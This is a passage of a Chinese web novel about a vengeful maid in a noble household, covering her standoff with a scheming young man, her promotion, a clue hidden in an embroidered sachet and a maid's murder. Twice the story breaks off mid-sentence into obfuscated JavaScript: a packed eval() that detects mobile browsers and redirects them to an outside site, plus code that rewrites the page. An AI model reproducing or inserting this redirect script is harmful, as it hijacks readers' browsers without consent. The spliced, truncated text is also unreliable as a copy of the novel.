他垂下眼眸,睫毛轻颤,声音带着自责:“其实,之前你被人陷害的时候,我没有出言为你辩解,这件事一直让我很愧疚。所以这次算是弥补吧 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逄楚之眼中刚刚闪过一丝欣喜,以为她终于被自己的真诚打动了。 然而凌青停顿了一下,似在斟酌什么,然后才继续道:“不过,礼数尽了之后,我也有些话需说明白了。” 这话风忽然转变,让逄楚之微微一怔。 他有些不解地看着她:“这话是什么意思?” 凌青淡淡一笑,目光停留在他的脸上:“其实,渚碧陷害我那天,状况虽然混乱,但我被拖下去前说的那番话,已经让老夫人做出了决断。哪怕没有你帮我求情,我也必不会死。” “当然,有你帮我求情,更让老夫人立即做出了决定,这我是感谢你的。” “你明知我会没事,却依然在那时候开口,想来就是为了今天这一出………” “让我彻底对你放下心防。” 逄楚之脸上的笑容慢慢僵住了,但很快又会恢复如常,只是握着玉笛的手指微微收紧。 他显然没想到,有人会这样直白利落的戳破这层心思。 凌青似是根本不在乎他什么反应,继续说道:“不过,逄公子到底站在了我这边,这份情我会一直记着。但我希望,你不要再在我身上白费心思了。” 她的目光如刀,一寸一寸地割在逄楚之脸上:“虽然不知道你图我什么,但我绝不会去信任一个,从一开始就怀有目的接近我的人。” 话音落下,周围忽然寂静得可怕。 那一直在耳边轻响的竹叶声,不知何时已经消失了。 那些海棠花瓣还在无声地飘落着,一片一片坠在青石地面上。每一片花瓣的坠落,哪怕无声,却也都都像是在这死寂中敲击着什么,让人莫名心跳加快。 逄楚之凝视着眼前的少女,那张明艳的脸上闪过一丝难以捉摸的神色。 良久,他缓缓开口,语气中带着颤抖和委屈:“从来没有人这么说过我………姐姐,为何你还是这样。”他的眼中染上了一层雾气,似乎真的被伤到了:“我不懂,你为什么总是觉得我有心机?” 凌青没有立即回答,而是静静地注视着他,目光深邃得仿佛穿透了他的表象,直抵魂魄深处。 “或许………”她的声音很轻,轻得像是自言自语:“我们骨子里………是一种人吧。” 这话一出,逄楚之的瞳孔微微一缩。 两个人对视着,周围的一切也都变得模糊起来了。这小小的后院,那偌大的陆府,一瞬间像是都退到了极远的地方。只剩下他们两个人,在这一方天地无声地对视。 凌青看到了逄楚之眼里一闪而过的杀意,那杀意浓烈至极,让她的心跳都漏跳了一拍。而逄楚之,也从凌青那双看似平静的眸子中,看到了一种压抑在冷漠之下的疯狂。 那是赤裸裸的洞察。 就像是有人忽然撕掉了他精心编织的面具,将他从来没有示人过的那一面暴露在光天化日之下。 空气变得粘稠起来,仿佛有什么看不见的东西在两人之间流动。 许久许久,逄楚之忽然笑了。 这笑容来的很突然,从眼底一点点蔓延到嘴角。所有的温柔、无辜、天真都在这一刻消失不见,取而代之的是一种令人心悸的危险。 他向前踏了一步,脚下的落花被踩得发出轻微的碎裂声,在这片寂静中显得格外清晰。 “有意思………”他的声音放得低沉,带着一丝沙哑的磁性,“那么姐姐………” 他又踏前一步,两个人之间的距离瞬间拉近。这个距离,近得危险,近得致命,也近得……暧昧。 “你难道………” “就没有目的吗?” 23. 晋升 凌青从库房出来时,怀里抱着刚领到的茶叶和药材,脚步不疾不徐。 光亮透过回廊洒下斑驳光影,却将她的大半张脸都笼进了黑影那一面,全然看不清神色。 经过花园小径时,几个正在洒扫的小丫鬟见了她,都恭敬地停下手中活计,打招呼道:“ 凌青姐姐。” 声音参差不齐,但都带着几分敬意。自从渚碧出事,老夫人虽勒令不许在府中提起此事,但渚碧与凌青那些事早就私下里传的到处都是。 从那之后,府中下人们看她的眼神都有些不同了。毕竟,能在那种局面下全身而退,甚至让陷害她的人反倒栽了跟头,这份本事可不是人人都有的。 凌青微微颔首,露出一个很淡的笑容,算是回应。 正要继续往前走,身后忽然传来急促的脚步声。 “凌青!” 凝儿扶着腰,气喘吁吁的,看样子一直在后面追她。 许久未见凝儿,她还是这么风风火火。凌青不由停下脚步,等她到了跟前,才问道:“怎么了,有什么事这么着急。” 凝儿摆摆手:“没什么事,就是正好看着你了,过来打个招呼。上次………渚碧那事,我也没帮上什么忙,幸好你聪明,才幸免于难。” 凝儿哪是没帮上什么忙,是帮了大忙了。要不是她告诉自己陆屏姨娘家的事,自己还联想不到陆屏与渚碧偷盗嫁妆的事呢。 “老夫人和夫人都是公正的,我没做过,自然不会冤了我。我没事的,你放心。” “也是……渚碧这人向来横行霸道惯了,之前有一次见着我莫名其妙甩脸子,我都不知道怎么得罪过她。那时候我就想,她这脾气,迟早得在大事上跌跟头。你看看,果然。” 凌青面色沉静,跟着附和:“是啊,善恶终有报。人在做,天在看。” 哪有什么天意弄人,无非是人为的因果。若老天能护善人,惩恶人,她父亲也不会枉死。指望苍天开眼,不如指望指望自己,若没有她费心谋划,她早在这府里死了无数次。 “不过………” 凝儿笑着凑到她身边:“渚碧被赶出府,现在二小姐身边岂不是少了一个贴身丫鬟?也不知道,小姐是重新选人呢,还是………” “从下面提拔呢?” 她这话意味深长,眼神里也全是暗示之意。 凌青看明白了她的意思,缓缓道:“你的意思是………” “若是从下面提拔,凌青你必是首当其选。你在茶药间这段时间,府里人可都是有目共睹的。且这次还冤枉了你,以二小姐那容易愧疚的性子,必定会把你当姐妹似的疼惜。” 这事,凌青心中其实早有计较。渚碧一倒,陆沁身边确实缺了个得力的人。而她在茶药间的表现,陆沁都看在眼里。更重要的是,经过这次的事,陆沁必然会更加谨慎地选择身边的人。 可她三番五次招惹祸端,虽不是自己情愿的,但在主子眼里也是个多事的人。若是老夫人不喜她,不允陆沁提拔她,那她就没办法了。 凌青故意将声音放大了些:“凝儿姐姐,这话可不能说。伺候小姐,在哪里都是一样的,一切以小姐的心意为准。我不在乎那些身份,只想一直伺候二小姐。” 这句话声音大的,足以让路过的人都听得见。 她相信很快,她这番“肺腑之言”就能传到老夫人耳朵里了。 她和凝儿正要告别,不远处走来几个小丫鬟,一边走一边窃窃私语着什么。 “真是可惜了,逄公子这一走,也不知道什么时候才能再见到。” “是啊,听说要去远游,怕是有一段时间都不会来府里了。” “呜呜呜呜,每日做活太无聊了,就盼着逄公子来府里。即使不与他说上一句话,看看他的脸也行啊。” “算了………” 几个小丫鬟说着就走远了,凌青却不由得心中一动。 逄楚之要走了? 这个消息让她有些意外。昨天两人在后院那一番不愉快,她以为那人还不死心,会继续纠缠下去,没想到转眼就要去远游了。 想起昨天的情形,凌青眉头微蹙。 那时逄楚之问出“你难道就没有目的吗”这句话时,她的心脏几乎停止了跳动。 那一瞬间,仿佛有一把利刃直接刺向她内心深处最隐秘的角落。血液瞬间冰冷,冷汗从脊背渗出,她甚至能听到自己心脏在胸腔里剧烈撞击的声音。 他知道了吗? 他是不是发现了什么? 关于她的身份,关于她进入陆府的真正目的,关于被她深深埋藏在心底的复仇计划…… 那一刻,她开始有些恐惧逄楚之会不会杀了她。 一个在他阿姐身边居心叵测,且一直与他作对的小小丫鬟,看破了他的伪装,他兴许真的会恼羞成怒……… 她甚至已经开始思考,如果逄楚之真的要动手,她该如何逃脱。这窄小的匝道出口,出去的路线,可以用作防身的东西……这些在那短短的几秒钟内全部在她脑海中闪过。 但她到底冷静,即便内心已经翻江倒海,面上依然波澜不惊,甚至连眼神都没有丝毫波动。 当她想好最坏的结果以及脱身方式后,她开口了。 “我当然有目的,”她这样回答,声音平静得至极,“就是做好这个丫鬟,服侍好小姐。” 逄楚之听了这话,眯了眯眼:“哦?姐姐,其实我真的很欣赏你,所以我想不通,以你这样的心智,真的甘愿做一个丫鬟?” 那声音低沉危险,带着某种她说不出的威胁。 她的手心渐渐泛出冷汗,但脸上依然保持淡然神色。 “我就是一个普通人,只想谋个养活自己的差事。”她毫不示弱地回视着他,“且差事不分高贵低贱,丫鬟这个活也是很需要心智的。” 她悄悄攥住手,说不紧张是假的,她在赌,赌这人单纯就是诈她。 然而,最令她意外的事情发生了。 过了许久,逄楚之忽地笑了,又是之前那副温柔灿烂的模样。仿佛之前眼里的杀意、疯狂、阴翳,都只是她的错觉罢了。 他又弯起了那双狭长的桃花眼,眼中还带着几分委屈的落寞。 “好吧………姐姐,既然你不喜欢我,那我就离你远远的,省得你看着我心烦。” 说话间,他缓缓抬起手,修长的手指轻抚着怀中的青玉笛子。那动作很轻很慢,带着某种不舍的眷恋,就像在抚摸什么珍贵的宝物。 “这个……”逄楚之停顿了一下,似乎在犹豫什么。 他低头看着手中的笛子,眼中闪过一丝复杂的情绪。那表情中有不舍,有眷恋,还有一种说不清道不明的深意。 良久,他才重新抬起头,看向凌青。 “送给你吧。”他轻声说道,声音里带着一丝叹息,“就当是………” “告别礼。” “凌青?凌青?”凝儿的声音将她拉回现实,“你怎么发愣了?在想什么呢?” 凌青回过神来,摇摇头:“没什么。我先回去了,茶药间还有事呢。” 凝儿点点头:“行,你忙去吧。不过啊,要是真的升成了贴身侍女,可别忘了我这朋友啊。” 凌青对她微微一笑,转身离开。 —————- 接下来的几天,府中倒是平静了许多。渚碧与五小姐陆屏做局,被赶出府的消息传了几天,也就慢慢没有后文了。 陆沁那边似乎也在考虑新的人选,并未急着做决定。听说老夫人也召她过去商量了两回。 凌青依然在茶药间做着她的事,表面上看起来和往常无异,但她知道,这个贴身侍婢的位置是不可能空缺的。 这天午后,她刚从库房领了新到的药材回来,推开茶药间的门,却发现里面的气氛有些不同寻常。 平日里这个时候,孙嬷嬷清洗茶具,红袖挑拣茶叶,巧音煎药,几个人都各自忙着手头的活计。 可今天,几个人都站在门口等着她,脸上的表情既兴奋又有些不舍。 见她进来,所有人的目光都看向了她。 “怎么了?”凌青将东西放下,有些疑惑地问。 几个人面面相觑,孙嬷嬷看看红袖,红袖看看巧音,巧音又看向孙嬷嬷,谁都没有先开口的意思。空气中弥漫着一种奇怪的兴奋感,但又带着几分不知该如何开口的局促。 最后还是红袖忍不住了,直接扑过来大声道:“姐姐!!你要晋升啦!” “嗯?” 孙嬷嬷笑着道:“傻丫头,小姐刚让谷翠传话下来,说晋升你为一等丫鬟,即日起贴身侍奉小姐。从明天开始,你就要搬到小姐旁边的屋子去了。” 凌青心中一震。虽然早有预料,但真正听到这个消息时,还是有些恍惚。 之前她就想谋求这个位置,为了底线还是放弃了。没想到兜兜转转,她终于还是到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16014011|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这个位置之上。 “凌青姐姐,你可真厉害!”巧音在一旁拍了拍凌青肩膀,“这么快就从三等丫鬟到一等,这可是多少人求都求不来的!” 红袖一把挤开巧音:“我们凌青不用求,这都是她应得的,要我说,她也就吃个出身的亏。否则她这样的本事,要是个官家小姐都能进宫当娘娘!” “我看是你想进宫做娘娘!” 她俩又闹成一团,但说完之后眼里又带着不舍。红袖轻声道:“不过说实话,姐姐,我们很为你开心,但还是有点舍不得你,你就像茶药间的主心骨,离了你,总是感觉空空的。” 气氛瞬间变得有些沮丧,她们人人都知道,晋升是天大的好事,她们不能因为不舍,就阻碍凌青向上爬。但……心里还是会有些难受。 孙嬷嬷叹道:“青丫头你走了,这茶药间可就没人镇得住场子了。你看你这段时间把这里管得多妥当,我就怕是再来个管事,也做不到你一半这么好。” 听着这些话,凌青心中泛起波澜。虽然她来茶药间并不是本意,但这些朝夕相处的人对她的情谊,还是让她不能不动容。 她轻抚了抚红袖的手:“虽然我不在茶药间了,但同在一个院子,每天还是能见面的,用不着这么伤感。” “话是这么说,”红袖眼圈有些红,“可从明天开始,你就是小姐身边的人,是月露榭的,而不再是茶药间的,身份地位都和之前大不一样了。” 巧音接话:“是啊,以后我们见了你还得行礼呢!” 凌青不由失笑,哪有什么不一样,无论是三等丫鬟还是一等丫鬟,归根到底都是下人。对她来说,下人都是平等的,只有谁累谁不累,没有谁贵谁不贵。 “胡说什么,”凌青笑着摇头,“我还是那个我,这一点永远不会变。” 孙嬷嬷慈祥地看着她:“做人最重要的是不忘本,我相信青丫头不会变的。” “嬷嬷放心,无论将来走到哪一步,大家走什么样的路,我都会记得我们的情谊。” 气氛正伤感着,巧音忽然拍了拍手:“对啦,凌青姐姐这么好的事,咱们得给她庆祝庆祝!” 她转身从柜子里拿出一个小包袱:“我这里还藏着点桂花糖和蜜饯,平时舍不得吃,今天正好拿出来和大家一块全吃了。” 红袖连忙大叫道:“好啊你,平时都藏着掖着。说!还有什么好东西!” “没啦没啦,真没啦!” 孙嬷嬷慈祥地看着两个小丫头,也走到自己的柜子前,取出一个精致的小布包:“这是我亲手缝的香囊,里面放的是我老家儿子给我带的药草,能安神助眠。我知你什么药草都见过,所以这也不稀奇。你别嫌弃,拿着,到了小姐那里也能用得上。” 凌青接过香囊,心中涌起一阵暖流。这个香囊针脚细密,绣工精美,一看就是花了不少心思。 红袖和巧音也都给了凌青她们自己做的小物件,几个人围坐在一起,分享着那些平日里舍不得吃的小零嘴,你一言我一语,闹得茶药间叽叽喳喳全是声音。 她们都是这深宅院子里最卑微的存在,进府都是为了讨口生活。可此刻,在这小小茶药间里,大家却都暂时忘却了身份的束缚,在这一方小天地做了自己的主子。 庆祝完后,凌青走回下人房,这是她在这里住的最后一晚。她的床铺东西很少,但她还是仔细地整理着。 打开箱子,里面除了几件换洗的衣裳,就是一些日常物件。在最深处,静静地躺着一个小木匣。 她犹豫了一下,还是将匣子取出来,轻轻打开。 里面是那支青玉笛子,里面是那支青玉笛子,静静地躺在丝绸垫子上,温润如玉的质地在昏暗的盒中依然散发着柔和的光泽。 凌青拿起笛子,放在手中细细端详。 为什么要送给她这个呢…… 而且他为什么一心想争取她的信任?要她的信任到底有什么用呢。 想起那个人临走前复杂的眼神,凌青眉头微蹙。在这个处处算计的地方,她忽然有些分不清,自己到底是猎人,还是猎物了。 只是她,无论如何都不想被人牵着鼻子走。 至于逄楚之………爱干什么干什么吧,反正他已经远走了,不会再在自己面前晃悠。他就算死外面了,也不关自己的事了。 现在要考虑的……… 是如何在陆沁身前站稳脚跟,这样她才能心无旁骛地去调查姐姐之事。 24. 香囊 寅时二刻。 凌青已经梳洗妥当,正对着铜镜试穿衣裳。 这是她第一次穿上一等婢女的服饰,与寻常二等丫鬟的粗布衣裳极为不同,现在这衣裳用料颇为讲究。青碧色的云锦衣料,上面绣着竹叶纹样,衬得人更是肤白如雪。 凌青沉默的看着镜子中的人,一时间竟有些恍惚。镜中人如此精致的穿着,却让她只觉得有些陌生。 也许,在她心里,她始终是那个住在叶家青瓦小院,每日等着亲人归家,即使脾气再不好也有人宠着的———— 叶清澜。 她缓步走出房门。 月露榭的晨曦还很安静,想来陆沁也还未起身。凌青在门外静静地候着,等待陆沁传她。 不多时,房门“吱呀”一声轻响,谷翠走了出来。她看见门口的凌青,显然很是惊讶。 “凌青?你怎么这么早就来了?”她怕吵醒里面的陆沁,低声道。 凌青打量着她憔悴的脸色和眼中干了的泪痕,看出她这几日是挺不好受的了。她与渚碧自小感情深厚,渚碧被赶出府,她如何能不难受。 “第一天,想早点过来候着,看看你有没有什么需要帮忙的。” “这样啊……”谷翠看着凌青的眼神,意识到自己脸上的泪痕,连忙擦了擦,有些不好意思道:“对不起……让你看笑话了。” 她声音渐渐带了几分哽咽:“凌青……渚碧她做错了事,连累了你。这些我都知道,我..…我替她向你赔个不是。” 这话说得诚恳,凌青倒是有些意外。她本以为谷翠会多少怨恨自己,毕竟是她揭发了渚碧偷盗嫁妆之事。 没想到,她还挺明事理的。 “你我都是奴才,各人做事各人当,与你何干?”凌青沉声道,“倒是你,莫要为旁人的过错折损了自己的身子,渚碧也不愿看到你这样一味沉溺于伤心。” 谷翠抹了抹眼泪,勉强露出个笑容:“你说得是。这些事都过去了,只要以后她过得平安,我就放心了。” 话未说完,又是一阵哽咽。 凌青看她这样,也不知如何是好。她素来没有安慰人的经验,于是只能假装温柔地去抚了抚她的肩膀。 不过因为她动作太过生疏,一举一动也丝毫不带感情,这一番作态就显得更加冷漠。幸而谷翠沉浸在情绪中,没发现这奇怪之处。 过了一会儿,谷翠缓了过来。她强打起精神,一边拭泪一边道:“没事,没事,今天是你初来乍到的日子,别因为我影响了。我现在嘱咐你一些小姐的习惯。” “她喜欢清雅些的香味,房中常备沉香或者甘松香。梳洗时不爱繁复,简单的发髻就好,头饰也不要太过华丽的...…” 凌青仔细听着,将每一个细节都记在心里。谷翠说得详细,显然是真心实意的嘱咐她。 正说话间,房内传来轻微的响动,似是有人翻身的声音。 “二小姐醒了。”谷翠连忙轻推了一下凌青,“该进去伺候了。” 凌青点点头,轻手轻脚地推门而入。 房中弥漫着淡淡的沉香,纱帐半卷,陆沁正慵懒地倚在床头。她本就生的温婉如玉,一双杏眼盈盈含水,此时睡眼惺忪的模样更添了几分娇憨。 见凌青进来,陆沁眼中闪过一丝惊喜:“凌青?” “奴婢来伺候小姐梳洗。”凌青上前见礼。 “咱们私下里不必如此拘礼。”陆沁摆摆手,声音轻柔如絮,“你快过来,我看看你穿上这衣服什么样。” 凌青依言上前,陆沁端详了一番,不由赞叹道:“你穿青色可真好看,你本来就生的美,又白,稍微一打扮就跟天仙似的。” “小姐这话奴婢可担不起,分明是小姐才像天仙。” “这话说的,我们都是天仙不就好了?”陆沁笑得眉眼弯弯,“我已经让人给你准备了几身新衣裳,还有些胭脂水粉,回头你自己挑选。” 陆沁说话时温声细语,眼中满含真诚和信任,似乎真的在慢慢接纳她,凌青不由心中微动。 陆沁坐到梳妆台前,任由凌青为她净面梳发。凌青手法娴熟轻柔,梳得人很是舒服。 陆沁在镜中,看着凌青专注清冷的脸。 过了许久,她忽然开口:“凌青,让你代替渚碧的位置,你会不会心里难受?” 凌青手中的梳子顿了顿:“小姐多虑了,奴婢并无什么不好受的。” 陆沁咬了咬唇,轻声道:“我到现在还在反复想着那些事………渚碧的背叛,你遭受的冤屈,还有五妹妹………一想起来就心有余悸。” 她说完又疑惑道:“不过………我总觉得还有什么不对劲的地方。” “哪里不对?” 陆沁在镜中看着凌青,眼中带着困惑和不安:“当时情况太混乱,我被吓得不轻,许多话都听得不大真切。可是...…可是我总记得屏儿身边的那个嬷嬷说了句奇怪的话。” 凌青停下手,问:“是什么?” “她...…她说什么要灭口,这我倒是听清楚了。可是还有些别的,好像...……好像说了什么''主子引开了侍卫‘……” 凌青的瞳孔骤然收缩,险些握不住手中的梳子。她深吸了一口气,努力让自己的声音听起来平静:“小姐确定听到了这几个字?” “我也不敢确定。”陆沁摇摇头,“当时我害怕的要命,许多话都听得模模糊糊的。但是...…你没听到吗?” 她当然没有听到!若是她当时听到了,必然会立即追查。那时她站在陆沁身后,地窖里又回音严重,渚碧还闹得厉害,她是有几句话没听清,没想到是这么重要的事! 难怪……难怪,渚碧能被陆屏这种不受宠的拉拢,背后竟还有另一个人! “小姐莫要多想。”凌青冷静下来后说,“或许就是听错了。” “但愿如此吧。”陆沁叹了口气,“只是这件事总让我觉得心神不宁,总觉得还有什么事要发生。” —————— 晚上,凌青回到自己住的地方。 这间屋子就是渚碧之前住过的,她当时就将那桐木偶人埋在屋子外的海棠树下。 陆沁本想给她安排别的地方,生怕她住在这难受。但她求之不得,她当然也想自己一个人住。 况且……说不定还能发现什么遗漏的线索呢。 房间不大,但布置得挺精细。一张雕木花床,一个红木衣柜,还有一个小巧的梳妆台。这布置都快赶得上陆屏的屋子了。 凌青点亮桌上的琉璃灯,瞬间,那暖黄色的光芒照亮了整个房间。 凌青打量了一下,径直走向衣柜,开始细细翻查。衣柜里还有零星几件没拿走的衣裳,但除此之外,并无他物。 她又把梳妆桌子的那个抽屉都搜了个遍,然而除了些成色普通的首饰和胭脂水粉,也没什么特别的发现。 凌青有些失望,正欲放弃时,忽然想起什么。她走到床边,将被褥全部掀开,又用手仔细摸索着床板的每一个角落。 就在她几乎要放弃的时候,手指忽然触到了一个东西。 凌青心中一动,小心翼翼地将那玩意取出。那是一个巴掌大小的香囊,用杏黄色的丝绸制成,上面绣着一对栩栩如生的鸳鸯。 她嘴角微微扬起。果然………渚碧上次就让那小丫鬟雀儿将桐木偶人藏在她床底下,这说明渚碧这人觉得床底下是最安全最难以发现的。 所以……她也在这床底下藏了这暗含情谊的东西。 她拿起香囊仔细端详,眉头渐渐皱了起来。这香囊的做工极为精细,丝线光润如珠,针法细密均匀,绝非普通绣娘能够制作。那对鸳鸯绣得活灵活现,雄鸟的羽毛用的是盘金线,雌鸟的眼睛则用了珍珠做点缀。 这样贵重的物件,她从何所得? 鸳鸯鸳鸯,自然是表示男女之情。这香囊,大概是她的情郎送给她的。 能送出这般物件的情郎,也决计不是什么普通人,必定是豪门权贵之类,或者云游富商。 她忽然想起,之前渚碧曾经消失了一个下午加晚上,陆沁派人各种寻都没寻到。后来她自己回来了,脸上面带春色,全是羞涩的笑意。现在看来,大概就和这情郎有关。 她将香囊翻过来查看,在不起眼的角落里发现了一个小小的刺绣标记,是一朵五瓣梅花。 这一系列线索都只能说明她有个心上………但,还是没有什么证据表明,这个男人和渚碧背叛,陆屏灭口有什么关系。 凌青小心地收起香囊,只待以后查证。 ——————— 午后,凌青正收拾陆沁的旧衣服,发现有一件淡粉色襦裙的袖口处绽了线。陆沁午睡正酣,她便拿着衣裳去找府中的绣娘修补。 春婆子正在针线房里做活计,见凌青进来,笑呵呵地招呼:“哎呀,凌青姑娘来了。怎么,二小姐的衣裳坏了?” “是袖口绽了线,劳烦春婆子帮忙看看。”凌青将衣裳递过去,在旁边坐下。 春婆子眯着眼细细查看:“这倒不是什么大毛病,用暗针缝一缝就好了。只是这料子娇贵,得小心些。” 说着便穿针引线,一边做活计一边与凌青闲聊:“你这丫头真是能干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不过...……”春婆子忽然低下头,指着香囊角落的那处梅花标记,皱起了眉头,“这个标记倒是有些眼熟,好像在哪里见过...……” 知道标记是什么含义,大概就能找到人了。 “在哪里?” 春婆子苦思冥想了半晌,最终还是摇了摇头:“年纪大了,记性不济。只是觉得眼熟,却想不起在哪里见过了。” 凌青心中瞬间有些失望,但面上不显,她按耐住心里的急切,只是将香囊收好。 “无妨,想必是哪位姐妹的贵重物件,我再仔细打听打听。” 正说话间,外面忽然传来嘈杂的议论声和急促的脚步声。 “怎么回事?”春婆子疑惑地放下手中的针线。 凌青和春婆子对视一眼,都起身走到门边往外看。只见几个丫鬟正匆匆忙忙地朝月露榭的方向奔去,一路上窃窃私语,神色慌张。 这时,一个熟悉的身影从门前匆匆掠过。凌青连忙唤住她:“红袖!” 红袖手里还拿着刚领的茶叶,听到声音,连忙急急忙忙停下脚步,见是凌青,脸上立刻露出焦急的神色:“凌青姐姐!你怎么还在这里?快回去吧!” “出什么事了?”凌青心中一紧。 “是谷翠姐姐!”凝儿喘着粗气道,“她刚刚不知道得了什么消息,哭得声嘶力竭的,整个人都疯了一样!现在被人扶回月露榭了,快一起回去看看吧!” 凌青闻言,心中猛地一沉,来不及多想,立刻朝月露榭奔去。 回去的时候,只见谷翠已经跪在陆沁房中,哭得撕心裂肺,整个人都要瘫倒在地。陆沁显然是被哭声惊醒的,此时正披着外衣坐在床沿,脸色有些憔悴。 “你这是怎么了?快起来说话!”陆沁被吓得声音颤抖。 谷翠哭得说不出话来,只是一个劲儿地磕头,额头上都嗑出了血痕。陶嬷嬷和其他几个丫鬟也闻声赶来,房中顿时乱成一团。 “你倒是说话啊!急死人了!”陶嬷嬷上前要扶谷翠起来,却发现她浑身颤抖。 谷翠缓了好一阵,才哽咽着,断断续续地吐出几个字:“渚...…渚碧她...…她...……” “她怎么了?”陆沁急得大声问道。 “她死了!渚碧死了!”谷翠忽然嚎啕大哭,声音尖锐得几乎破音,“她死了!” 话音刚落,房中瞬间静得可怕,连呼吸声都清晰可闻。 陆沁的脸色霎时间白得毫无血色,身子摇摇欲坠:“什么..….你胡说什么?” “渚碧死了!”谷翠哭得喘不动气,“她被赶出府后,一直住在城东的悦来客栈。今早...…今早客栈的小二发现她死在房中...…已经断气多时了...…” “不可能...…不可能的...…”陆沁喃喃自语,眼中满是不敢置信,“我给了她钱财,她可以好好过日子的……怎么会...…怎么会...…” 话没说完,陆沁眼前一黑,直接昏了过去。 25. 凶案 “小姐!” 众人一阵惊呼,乱成一团,七手八脚地扶陆沁。三个人直接围成一圈,挤作一处,你一言我一语地唤着,想要将她抬到床上。 “都让开!” 凌青的声音骤然响起。 她快步走到跟前,冷声道:“你们这样围着,小姐会愈发透不过气。都退开!” 说完,她蹲下身子,伸手探了探陆沁的脉搏,皱眉回头道:“谷翠,别哭了,赶紧去取人参片来。红袖,回茶药间,叫巧音赶紧煎一碗安神汤送来。陶嬷嬷,您与我一同扶着小姐。” 陆沁虽一直身子不好,却鲜少有晕倒的时候。上次来月事时晕倒就让大家慌了神,这又来一次更是让众人不知该怎么做。 而凌青声音虽然不高,却带着一种让人信服的感觉。众人听了,仿佛找到了主心骨,慌乱的情绪瞬间稳定了许多。 众人纷纷行事,约莫过了一炷香的时间,陆沁终于缓缓睁开眼睛,眼中还带着迷茫。 “小姐醒了!”陶嬷嬷眼中含泪道。 陆沁艰难地坐起身来,声音虚弱:“是不是我刚才做梦了,渚碧、渚碧她没事……是不是?” 她强挤出一丝微笑,抱着希望地抬头注视众人,希望能从众人的表情中看到什么。 但很快,她的笑容就慢慢僵住。 众人沉默的样子,无疑告诉她———渚碧的死是真的。 陆沁瞬间心如死灰,缓缓闭上了眼睛,一颗浑圆的泪珠从眼角划下。 许久之后,她睁开眼睛,眼睛里多了些坚决:“我要去看渚碧。” “小姐万万不可!”陶嬷嬷急急出声:“您身子骨本来就弱,刚刚又受了那么大的刺激,怎么能再去!” 陆沁眼中泪光闪动,神色却更加决绝:“渚碧跟了我这么多年,无论如何,我都要去送她最后一面。” 谷翠连忙跪下哀求:“小姐!让奴婢替您去吧,您经受不起的!” 众人都要跪下再劝,凌青却忽然冷不丁开口道:“小姐一定要去吗?” 陆沁看向凌青,重重地点了点头。 凌青沉默了片刻,淡淡地说:“那就去吧。” “凌青!”陶嬷嬷不可置信地看向她,“你怎么能这样说?” 凌青神色平静地看向众人,缓缓说道:“小姐心意已决,再劝也是无用。与其让她心中留有遗憾,不如成全。且你们担心的都是小姐的身体问题,这你们放心,我随小姐同去,我会时时看顾好她的身体。” ————— 悦来客栈外正是人声鼎沸。都说京中忽然出了一桩离奇凶案,顿时周围人都聚了过来看热闹。 陆沁和凌青匆匆赶到时,只见客栈大门紧闭,门前站着几个身穿官服的差役,神色严肃地守着门。 “怎么这么多官府的人?”陆沁的声音有些颤抖。 一个普通人死在客栈,当然不会惊动官府这么大阵仗。 凌青不由开始细细思量。 正当她们踌蹰之际,客栈门“吱呀”一声打开,门前众人都不由自主往门口看去。 身穿青色官袍的年轻男子缓缓走出,面容依旧温和俊朗,举止依旧正气十足,只是眉宇间比之前多了分担忧。 正是陆沁的未婚夫,大理寺少卿,崔令徽。 他一出来,就从人群中一眼看到了陆沁,他的眉瞬间蹙得更深。 他快步走到陆沁跟前,声音有些焦急:“陆二小姐,你怎么来了。” “崔公子!”陆沁见到他,原本死气沉沉的眼中瞬间起了一丝光亮,“我听说渚碧……渚碧她……” 崔令徽轻叹一声,伸手想要安慰她,却又顾及男女之别,还是放下了手,柔声道:“我知道你与渚碧感情深厚……可这里面的情形……恐怕你受不住,还是回去吧,这里有我在。” “不行!”陆沁摇头,声音又带上了哭腔:“我知道渚碧之事,本应该由京兆府那边接手。一定是你……是你不忍心让她的案子草草了事,不忍心让我难过,才向上峰请示,接手此案的,是不是?那你就更该让我进去了,我与她主仆一场,我定要亲眼看见她,并送她最后一程。” 崔令徽看着她泪眼婆娑的模样,心中不忍:“你不知道里面...……” “我可以的。”陆沁打断了他的话,声音虽然颤抖,却很坚定,“我希望你相信我,我一定可以的。” 崔令徽似是似是妥协了,叹了口气。转头看向凌青:“我陪你们进去……只是你们要做好心里准备,凌青,看顾好你家小姐,你也要注意自己是否能承受。” 凌青点头:“大人放心。” 三人在差役的带领下进了客栈。整座客栈都是空荡荡的,只有春风吹过檐角,发出阵阵呜咽之声。伴着他们的脚步声,显得更为空寂与阴森。 到了二楼尽头的一间房前,崔令徽停下脚步,神色凝重:“就是这里。” 房门半掩着、里面透出微弱的烛光。凌青挡在陆沁前面,紧紧攥着她被汗浸湿的手。 崔令徽回头看了一眼陆沁,确认她们神色无碍,便率先推门而入。 房间不大,房顶的横梁格外低矮,伸手便能够到。渚碧跪在房间一侧的墙边,额头紧贴着墙面,鲜血从头部缓缓流下,在地面形成一滩血泊。她保持着跪拜的姿势,双手垂在身侧,看起来就像是在向墙壁磕头忏悔。 最诡异的是,她的眼睛大睁着,瞳孔涣散,面部僵硬,嘴角竟然咧开着,露出一种极不自然的笑容。那表情仿佛是在极度恐惧中………乍然停滞。 陆沁紧跟在凌青身后进来,一眼看到渚碧的惨状,瞬间脸色惨白如纸。她张了张嘴,想要说什么,却发不出任何声音。鲜血淋漓的场面,渚碧可怖的表情,还有那跪拜的死状,一切都如最恐怖的噩梦一般冲击着她。 “啊———”陆沁终于发出一声尖叫,整个人向后倒去。 “小姐!”凌青眼疾手快,连忙转身扶住了陆沁。 陆沁在凌青怀中瑟瑟发抖,脸色青白,豆大的汗珠从额头滚落,口中喃喃自语:“渚碧...渚碧她..……她怎么会……” 